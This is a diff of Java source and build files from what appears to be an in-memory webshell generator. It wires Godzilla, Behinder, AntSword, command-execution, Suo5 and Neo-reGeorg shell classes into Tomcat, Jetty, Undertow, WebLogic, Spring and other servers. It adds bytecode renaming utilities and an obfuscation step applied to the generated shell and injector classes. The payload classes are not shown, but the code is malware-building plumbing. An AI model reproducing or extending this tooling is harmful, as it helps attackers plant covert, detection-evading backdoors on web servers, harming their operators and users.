.headerValue(shellToolConfig.getHeaderValue()) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case AntSword -> AntSwordConfig.builder() case AntSword -> AntSwordConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.pass(shellToolConfig.getAntSwordPass()) .pass(shellToolConfig.getAntSwordPass())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue()) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case NeoreGeorg -> NeoreGeorgConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.build();
case Custom -> CustomConfig.builder()
.shellClassBase64(shellToolConfig.getShellClassBase64())
.shellClassName(shellToolConfig.getShellClassName())
.build();
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool()); default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
}; };
} }
@@ -11,7 +11,7 @@ import java.util.Map;
*/ */
@Data @Data
public class Config { public class Config {
private List<String> servers; private Map<String, List<String>> servers;
private Map<String, Map<?, ?>> core; private Map<String, Map<?, ?>> core;
private List<String> packers; private List<String> packers;
} }
@@ -0,0 +1,15 @@
package com.reajason.javaweb.boot.entity;
import lombok.Data;
import lombok.Builder;
/**
* @author ReaJason
*/
@Data
@Builder
public class VersionInfo {
private String currentVersion;
private String latestVersion;
private boolean hasUpdate;
}
-4
View File
@@ -12,10 +12,6 @@ allprojects {
implementation platform(project(':bom')) implementation platform(project(':bom'))
} }
} }
repositories {
mavenCentral()
}
} }
idea { idea {
+1
View File
@@ -12,6 +12,7 @@ java {
dependencies { dependencies {
implementation 'net.bytebuddy:byte-buddy' implementation 'net.bytebuddy:byte-buddy'
implementation 'org.ow2.asm:asm-commons'
implementation 'commons-io:commons-io' implementation 'commons-io:commons-io'
implementation 'org.apache.commons:commons-lang3' implementation 'org.apache.commons:commons-lang3'
implementation 'commons-codec:commons-codec' implementation 'commons-codec:commons-codec'
@@ -13,7 +13,7 @@ public class ClassBytesShrink {
public static byte[] shrink(byte[] bytes, boolean full) { public static byte[] shrink(byte[] bytes, boolean full) {
ClassReader cr = new ClassReader(bytes); ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(0); ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) { ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
@Override @Override
public void visitSource(String source, String debug) { public void visitSource(String source, String debug) {
@@ -0,0 +1,53 @@
package com.reajason.javaweb.asm;
import org.objectweb.asm.ClassReader;
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.commons.ClassRemapper;
import org.objectweb.asm.commons.Remapper;
import org.objectweb.asm.commons.SimpleRemapper;
/**
* @author ReaJason
* @since 2025/3/29
*/
public class ClassRenameUtils {
public static byte[] renameClass(byte[] classBytes, String newName) {
ClassReader reader = null;
try {
reader = new ClassReader(classBytes);
} catch (Exception e) {
throw new RuntimeException("invalid class bytes");
}
String oldClassName = reader.getClassName();
String newClassName = newName.replace('.', '/');
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
ClassRemapper adapter = new ClassRemapper(writer, new SimpleRemapper(oldClassName, newClassName));
reader.accept(adapter, 0);
return writer.toByteArray();
}
public static byte[] relocateClass(byte[] classBytes, String relocateClassPackage, String relocatePrefix) {
ClassReader reader = null;
try {
reader = new ClassReader(classBytes);
} catch (Exception e) {
throw new RuntimeException("invalid class bytes");
}
String oldClassName = relocateClassPackage.replace('.', '/');
String newClassName = relocatePrefix.replace('.', '/');
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
ClassRemapper adapter = new ClassRemapper(writer, new Remapper() {
@Override
public String map(String typeName) {
if (typeName.startsWith(oldClassName)) {
return typeName.replaceFirst(oldClassName, newClassName);
} else {
return typeName;
}
}
});
reader.accept(adapter, 0);
return writer.toByteArray();
}
}
@@ -0,0 +1,70 @@
package com.reajason.javaweb.asm;
import lombok.Getter;
import org.objectweb.asm.ClassReader;
import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.Opcodes;
import java.io.IOException;
import java.io.InputStream;
import java.util.HashSet;
import java.util.Set;
public class InnerClassDiscovery {
/**
* Discovers all inner classes for a given class
*
* @param originalClass The class to discover inner classes for
* @return A set of fully qualified inner class names
*/
public static Set<String> findAllInnerClasses(Class<?> originalClass) throws IOException {
Set<String> innerClasses;
String resourceName = originalClass.getName().replace('.', '/') + ".class";
try (InputStream is = originalClass.getClassLoader().getResourceAsStream(resourceName)) {
if (is == null) {
throw new IOException("Could not find class file for " + originalClass.getName());
}
ClassReader reader = new ClassReader(is);
InnerClassCollector collector = new InnerClassCollector(originalClass.getName());
reader.accept(collector, ClassReader.SKIP_CODE | ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
innerClasses = new HashSet<>(collector.getInnerClasses());
}
try {
for (Class<?> innerClass : originalClass.getDeclaredClasses()) {
innerClasses.add(innerClass.getName());
innerClasses.addAll(findAllInnerClasses(innerClass));
}
} catch (SecurityException ignored) {
}
return innerClasses;
}
private static class InnerClassCollector extends ClassVisitor {
private final String originalClassName;
@Getter
private final Set<String> innerClasses = new HashSet<>();
public InnerClassCollector(String originalClassName) {
super(Opcodes.ASM9);
this.originalClassName = originalClassName.replace('/', '.');
}
@Override
public void visitInnerClass(String name, String outerName, String innerName, int access) {
String className = name.replace('/', '.');
if (outerName != null) {
String outerClassName = outerName.replace('/', '.');
if (outerClassName.equals(originalClassName)) {
innerClasses.add(className);
}
} else if (className.startsWith(originalClassName + "$")) {
innerClasses.add(className);
}
}
}
}
@@ -0,0 +1,62 @@
package com.reajason.javaweb.buddy;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.field.FieldDescription;
import net.bytebuddy.description.field.FieldList;
import net.bytebuddy.description.method.MethodList;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.commons.ClassRemapper;
import net.bytebuddy.jar.asm.commons.Remapper;
import net.bytebuddy.pool.TypePool;
import org.jetbrains.annotations.NotNull;
/**
* @author ReaJason
* @since 2025/3/27
*/
public class ClassRenameVisitorWrapper implements AsmVisitorWrapper {
public final String originalClassName;
public final String newClassName;
public ClassRenameVisitorWrapper(String originalClassName, String newClassName) {
this.originalClassName = originalClassName.replace('.', '/');
this.newClassName = newClassName.replace('.', '/');
}
@Override
public int mergeReader(int flags) {
return flags;
}
@Override
public int mergeWriter(int flags) {
return flags;
}
@NotNull
@Override
public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
@NotNull ClassVisitor classVisitor,
@NotNull Implementation.Context implementationContext,
@NotNull TypePool typePool,
@NotNull FieldList<FieldDescription.InDefinedShape> fields,
@NotNull MethodList<?> methods,
int writerFlags,
int readerFlags) {
return new ClassRemapper(
classVisitor,
new Remapper() {
@Override
public String map(String typeName) {
if (typeName.startsWith(originalClassName)) {
return typeName.replaceFirst(originalClassName, newClassName);
} else {
return typeName;
}
}
});
}
}
+17 -2
View File
@@ -13,6 +13,20 @@ java {
group = 'com.reajason.javaweb.memsell' group = 'com.reajason.javaweb.memsell'
version = rootProject.version version = rootProject.version
tasks.withType(Test).configureEach {
javaLauncher = javaToolchains.launcherFor {
languageVersion = JavaLanguageVersion.of(17)
}
}
tasks.named('compileTestJava') {
javaCompiler = javaToolchains.compilerFor {
languageVersion = JavaLanguageVersion.of(17)
}
sourceCompatibility = JavaVersion.VERSION_17
targetCompatibility = JavaVersion.VERSION_17
}
test { test {
useJUnitPlatform() useJUnitPlatform()
finalizedBy jacocoTestReport finalizedBy jacocoTestReport
@@ -24,12 +38,13 @@ dependencies {
implementation project(":memshell") implementation project(":memshell")
implementation project(":memshell-java8") implementation project(":memshell-java8")
implementation 'net.bytebuddy:byte-buddy' implementation 'net.bytebuddy:byte-buddy'
implementation 'org.ow2.asm:asm-commons'
implementation 'com.github.jar-analyzer:class-obf'
implementation 'javax.servlet:javax.servlet-api' implementation 'javax.servlet:javax.servlet-api'
implementation 'javax.websocket:javax.websocket-api' implementation 'javax.websocket:javax.websocket-api'
implementation 'jakarta.servlet:jakarta.servlet-api' implementation 'jakarta.servlet:jakarta.servlet-api'
// implementation 'xalan:xalan'
implementation 'org.apache.bcel:bcel' implementation 'org.apache.bcel:bcel'
implementation 'commons-io:commons-io' implementation 'commons-io:commons-io'
@@ -38,7 +53,6 @@ dependencies {
implementation 'com.squareup.okhttp3:okhttp' implementation 'com.squareup.okhttp3:okhttp'
implementation 'ch.qos.logback:logback-classic' implementation 'ch.qos.logback:logback-classic'
implementation 'com.alibaba.fastjson2:fastjson2' implementation 'com.alibaba.fastjson2:fastjson2'
// implementation 'org.java-websocket:Java-WebSocket'
implementation 'org.springframework:spring-webmvc' implementation 'org.springframework:spring-webmvc'
implementation 'org.springframework:spring-webflux' implementation 'org.springframework:spring-webflux'
@@ -48,4 +62,5 @@ dependencies {
testImplementation 'org.junit.jupiter:junit-jupiter' testImplementation 'org.junit.jupiter:junit-jupiter'
testRuntimeOnly 'org.junit.platform:junit-platform-launcher' testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
testImplementation "org.mockito:mockito-core" testImplementation "org.mockito:mockito-core"
testImplementation 'org.mockito:mockito-junit-jupiter'
} }
@@ -4,9 +4,13 @@ import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*; import com.reajason.javaweb.memshell.generator.*;
import com.reajason.javaweb.memshell.server.AbstractShell; import com.reajason.javaweb.memshell.server.AbstractShell;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.memshell.utils.CommonUtil;
import me.n1ar4.clazz.obfuscator.api.ClassObf;
import me.n1ar4.clazz.obfuscator.config.BaseConfig;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/11/24 * @since 2024/11/24
@@ -17,8 +21,9 @@ public class MemShellGenerator {
Server server = shellConfig.getServer(); Server server = shellConfig.getServer();
AbstractShell shell = server.getShell(); AbstractShell shell = server.getShell();
if (shell == null) { if (shell == null) {
throw new IllegalArgumentException("Unsupported server"); throw new IllegalArgumentException("Unsupported server: " + server);
} }
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) { if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType())); shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
} }
@@ -27,24 +32,56 @@ public class MemShellGenerator {
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName()); injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
} }
Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType()); Class<?> injectorClass = null;
if (shellInjectorPair == null) {
throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
}
Class<?> shellClass = shellInjectorPair.getLeft();
Class<?> injectorClass = shellInjectorPair.getRight();
shellToolConfig.setShellClass(shellClass); if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
injectorClass = shellConfig.getServer().getShell().getShellInjectorMapping().getInjector(shellConfig.getShellType());
} else {
Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
if (shellInjectorPair == null) {
throw new UnsupportedOperationException(server + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool());
}
Class<?> shellClass = shellInjectorPair.getLeft();
injectorClass = shellInjectorPair.getRight();
shellToolConfig.setShellClass(shellClass);
}
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig); byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
injectorConfig = injectorConfig if (shellConfig.isObfuscate()) {
.toBuilder() BaseConfig config = BaseConfig.Default();
.injectorClass(injectorClass) config.setIgnorePublic(true);
.shellClassName(shellToolConfig.getShellClassName()) config.setEnableMethodName(false);
.shellClassBytes(shellBytes).build(); config.setEnableFieldName(false);
config.setEnableAES(false);
config.setEnableAdvanceString(false);
config.setQuiet(true);
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate(); ClassObf classObf = new ClassObf(config);
shellBytes = classObf.run(shellBytes).getData();
}
injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
injectorConfig.setShellClassBytes(shellBytes);
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
byte[] injectorBytes = injectorGenerator.generate();
if (shellConfig.isObfuscate()) {
BaseConfig config = BaseConfig.Default();
config.setIgnorePublic(true);
config.setEnableMethodName(false);
config.setEnableFieldName(false);
config.setEnableAES(false);
config.setEnableAdvanceString(false);
config.setQuiet(true);
ClassObf classObf = new ClassObf(config);
injectorBytes = classObf.run(injectorBytes).getData();
}
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
return GenerateResult.builder() return GenerateResult.builder()
.shellConfig(shellConfig) .shellConfig(shellConfig)
@@ -54,6 +91,7 @@ public class MemShellGenerator {
.shellBytes(shellBytes) .shellBytes(shellBytes)
.injectorClassName(injectorConfig.getInjectorClassName()) .injectorClassName(injectorConfig.getInjectorClassName())
.injectorBytes(injectorBytes) .injectorBytes(injectorBytes)
.injectorInnerClassBytes(innerClassBytes)
.build(); .build();
} }
@@ -69,6 +107,10 @@ public class MemShellGenerator {
return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes(); return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
case AntSword: case AntSword:
return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes(); return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
case NeoreGeorg:
return new NeoreGeorgGenerator(shellConfig, (NeoreGeorgConfig) shellToolConfig).getBytes();
case Custom:
return new CustomShellGenerator(shellConfig, (CustomConfig) shellToolConfig).getBytes();
default: default:
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool()); throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
} }
@@ -9,10 +9,16 @@ import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdv
import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.*; import com.reajason.javaweb.memshell.shelltool.command.*;
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor; import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAsmMethodVisitor;
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServerInitialHandlerAsmMethodVisitor;
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.*; import com.reajason.javaweb.memshell.shelltool.godzilla.*;
import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor; import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgFilter;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgListener;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgServlet;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
@@ -34,10 +40,11 @@ import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor; import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor; import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor; import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor; import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor; import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
import lombok.Getter; import lombok.Getter;
@@ -60,7 +67,7 @@ public enum Server {
*/ */
Jetty(new JettyShell()), Jetty(new JettyShell()),
/** /**
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a> * JBoss AS 中间件JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
*/ */
JBossAS(new JbossShell()), JBossAS(new JbossShell()),
JBossEAP6(new JbossShell()), JBossEAP6(new JbossShell()),
@@ -93,7 +100,7 @@ public enum Server {
WebLogic(new WebLogicShell()), WebLogic(new WebLogicShell()),
/** /**
* Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a> * Resin 中间件<a href="https://caucho.com/products/resin/download">Resin</a>
*/ */
Resin(new ResinShell()), Resin(new ResinShell()),
@@ -127,8 +134,7 @@ public enum Server {
/** /**
* XXL-JOB * XXL-JOB
*/ */
XXLJOB(new XxlJobShell()) XXLJOB(new XxlJobShell());
;
private final AbstractShell shell; private final AbstractShell shell;
@@ -137,34 +143,6 @@ public enum Server {
} }
static { static {
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(SERVLET, CommandServlet.class)
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
.addShellClass(FILTER, CommandFilter.class)
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
.addShellClass(LISTENER, CommandListener.class)
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
.addShellClass(VALVE, CommandValve.class)
.addShellClass(JAKARTA_VALVE, CommandValve.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandServletAdvisor.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Godzilla, ToolMapping.builder() addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class) .addShellClass(SERVLET, GodzillaServlet.class)
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class) .addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
@@ -213,6 +191,57 @@ public enum Server {
.addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
.build()); .build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
.addShellClass(SERVLET, AntSwordServlet.class)
.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, AntSwordListener.class)
.addShellClass(VALVE, AntSwordValve.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
.addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(SERVLET, CommandServlet.class)
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
.addShellClass(FILTER, CommandFilter.class)
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
.addShellClass(LISTENER, CommandListener.class)
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
.addShellClass(VALVE, CommandValve.class)
.addShellClass(JAKARTA_VALVE, CommandValve.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
.addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
.addShellClass(JETTY_AGENT_HANDLER_ASM, CommandHandlerAsmMethodVisitor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class)
.build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder() addToolMapping(ShellTool.Suo5, ToolMapping.builder()
.addShellClass(SERVLET, Suo5Servlet.class) .addShellClass(SERVLET, Suo5Servlet.class)
.addShellClass(JAKARTA_SERVLET, Suo5Servlet.class) .addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
@@ -229,20 +258,19 @@ public enum Server {
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class) .addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
.build()); .build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder() addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
.addShellClass(SERVLET, AntSwordServlet.class) .addShellClass(SERVLET, NeoreGeorgServlet.class)
.addShellClass(FILTER, AntSwordFilter.class) .addShellClass(JAKARTA_SERVLET, NeoreGeorgServlet.class)
.addShellClass(LISTENER, AntSwordListener.class) .addShellClass(FILTER, NeoreGeorgFilter.class)
.addShellClass(VALVE, AntSwordValve.class) .addShellClass(JAKARTA_FILTER, NeoreGeorgFilter.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class) .addShellClass(LISTENER, NeoreGeorgListener.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class) .addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class) .addShellClass(VALVE, NeoreGeorgValve.class)
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class) .addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
.addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
.build()); .build());
} }
} }
@@ -10,25 +10,35 @@ public enum ShellTool {
*/ */
Godzilla, Godzilla,
/**
* 命令回显
*/
Command,
/** /**
* 冰蝎 * 冰蝎
*/ */
Behinder, Behinder,
/**
* Suo5 隧道代理
*/
Suo5,
/** /**
* 蚁剑 * 蚁剑
*/ */
AntSword, AntSword,
/**
* 命令回显
*/
Command,
/**
* Suo5 隧道代理 <a href="https://github.com/zema1/suo5">zema1/suo5</a>
*/
Suo5,
/**
* Neo-reGeorg <a href="https://github.com/L-codes/Neo-reGeorg">L-codes/Neo-reGeorg</a>
*/
NeoreGeorg,
/**
* 自定义
*/
Custom,
; ;
} }
@@ -19,19 +19,27 @@ public class ShellType {
public static final String NETTY_HANDLER = "NettyHandler"; public static final String NETTY_HANDLER = "NettyHandler";
public static final String AGENT = "Agent"; public static final String AGENT = "Agent";
public static final String ASM = "ASM";
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain"; public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM;
